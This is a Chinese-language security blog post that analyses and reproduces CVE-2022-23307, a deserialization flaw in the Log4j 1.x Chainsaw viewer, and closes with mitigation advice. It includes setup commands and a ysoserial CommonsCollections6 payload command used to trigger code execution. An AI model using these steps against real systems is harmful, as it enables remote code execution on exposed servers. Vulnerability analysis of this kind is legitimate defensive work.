【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现

admin 2022年1月23日19:56:30评论1,997 views字数 1773阅读5分54秒阅读模式

关注公众号回复“漏洞”获取研究环境或工具




漏洞信息


2022年1月18日,Apache发布安全公告披露了3个Log4j的新漏洞,均影响Apache Log4j 1.x版本。其中CVE-2022-23307是Apache log4j Chainsaw反序列化漏洞,可导致任意命令执行。漏洞通报如下:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


Chainsaw是由Log4j开发社区成员编写的与Log4j配套的应用程序,是一个基于GUI的日志查看器,可以读取Log4j的XMLLayout格式的日志文件。下面给各位小伙伴分享一下漏洞的分析与复现过程。




环境搭建


添加引用:


<!-- https://mvnrepository.com/artifact/log4j/log4j --><dependency>    <groupId>log4j</groupId>    <artifactId>log4j</artifactId>    <version>1.2.17</version></dependency>


添加日志配置文件`log4j.properties`:


log4j.rootLogger=DEBUG,stdout,CHAINSAW_CLIENTlog4j.appender.CHAINSAW_CLIENT=org.apache.log4j.net.SocketAppenderlog4j.appender.CHAINSAW_CLIENT.RemoteHost=localhostlog4j.appender.CHAINSAW_CLIENT.Port=4445log4j.appender.CHAINSAW_CLIENT.LocationInfo=true


上面指定Chainsaw服务端口为默认的`4445`,启动Apache Log4j自带的Chainsaw服务,为了方便漏洞分析,可以加入远程调试配置:


java -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=0.0.0.0:8787,server=y,suspend=n -cp log4j-1.2.17.jar org.apache.log4j.chainsaw.Main


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


构造测试代码:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


实现可视化监视日志功能:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现




漏洞分析


Apache Log4j集成了Chainsaw模块:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


启动实现位于`org.apache.log4j.chainsaw#main`:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


首先通过`initLog4J`完成一些初始化的工作,然后创建`Main`对象:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


通过`setupReceiver`创建一个Socket套接字接收子线程`LoggingReceiver`:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


`LoggingReceiver`定义了一个典型的套接字处理数据接收的流程:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


进入`Slurper`:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


直接将接收的数据码流进行了反序列化操作,从而导致出现漏洞。




漏洞复现


为了方便复现,在Chainsaw启动过程中加入`commons-collections-3.1.jar`,修改启动命令如下:


java -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=0.0.0.0:8787,server=y,suspend=n -classpath %classpath% -cp ./libs/commons-collections-3.1.jar;log4j-1.2.17.jar org.apache.log4j.chainsaw.Main


生成cc6利用链:


java -jar ysoserial.jar CommonsCollections6 calc >calc.bin


构建Socket发送数据包:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现


成功触发RCE:


【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现




修复方式


由于Log4j v1.x系列已经停止更新,所以无法直接通过升级进行修复,这里建议程序要么采用Log4j v2.x系列,要么在配置文件中修改Chainsaw默认的接收方式,比如修改为`XMLSocketReceiver`。



由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。



点关注,不迷路!

【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现

关注公众号回复“漏洞”获取研究环境或工具

原文始发于微信公众号(且听安全):【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月23日19:56:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【最新漏洞预警】CVE-2022-23307 Apache Log4j Chainsaw反序列化漏洞分析与复现https://cn-sec.com/archives/746668.html

发表评论

匿名网友 填写信息